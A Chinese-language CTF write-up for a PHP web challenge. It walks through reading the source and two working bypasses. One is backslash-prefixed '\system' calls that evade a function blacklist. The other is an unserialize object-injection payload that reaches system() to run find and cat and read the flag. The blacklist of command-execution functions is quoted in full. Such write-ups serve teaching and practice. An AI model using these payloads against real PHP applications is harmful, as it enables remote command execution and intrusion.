00x1-打开题目
打开网站以后什么也没有,在进行文件的扫描,依旧是没有收获,但是在网站数据包中,发现网站会在15s的时间内,自动进行刷新,然后出现错误提示:
意思就是说有错误函数的出现,打开网站源码后发现
在数据提交上面是以POST的方式提交了两个参数,func和p
然后就是直接的抓包改包了
发现源代码中有执行错误的函数,直接百度一手
效果:
发现这个函数居然能够直接的调用php的函数,并在后面的参数上执行响应的命令
然后直接一手readfile,读取index,php源码
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"];
if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
|
代码解析
strtolower
字符串全转为小写。
语法: string strtolower(string str);
返回值: 字符串
下面的是一个clss的类
1 2 3 4 5 6 7 8 9
| class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } }
|
payload1:
就是利用call_user_func函数的漏洞
刚刚在前面已经测试可以执行函数
但是在代码里面的正则过滤了很多的命令执行的函数
常用的函数基本上已经全部的过了
1 2 3 4 5 6 7 8
| "exec","shell_exec","system","passthru","proc_open","show_source", "phpinfo","popen","dl","eval","proc_terminate","touch", "escapeshellcmd","escapeshellarg","assert","substr_replace", "call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function", "register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
|
但是发现一个函数没有过滤
使用:
但是这个函数目前没有好的方法实现
payload2:
就是直接的用上面那个函数的漏洞
虽然上面的函数过滤了很多,但是还有有办法进行绕过的
system函数就是能够绕过的
1 2
| /system既可以绕过被过滤的system函数 ls被绕过,我们可以使用dir函数进行代替
|
可以使用
返回结果
查询flag所在位置:
1
| func=\system&p=find / -name flag*
|
得到可疑的路径,使用cat命令查看:
1
| func=\system&p=cat /tmp/flagoefiu4r93
|
得到flag:
payload3:
上面使用的函数这只是通过\绕过in_array()函数,从而实现绕过黑名单,完成命令执行的方法,真正的考点应该是反序列化
继续分析源码Test类:
1 2 3 4 5 6 7 8
| class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } }
|
Test类并没有被调用,但在其析构函数中调用了gettime()函数
serialize()和unserialize()函数不在黑名单中,所以使用反序列化方式不会运行黑名单效验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 尝试构造序列化,在提交时,unserialize()函数作为变量$func的值,序列化后的字符串作为参数$p的值:
<?php class Test { public $func; public $p; } $tmp = new Test(); $tmp->func = "system"; $tmp->p = "ls"; echo serialize($tmp) ?>
|
得到反序列化的值:
1
| O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
|
使用POST传参发送数据:
1
| func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
|
可以看到成功执行:
查找flag
1
| func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
|
得到flag的路径:/tmp/flagoefiu4r93,使用cat命令读取flag:
1 2
| func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
|
得到flag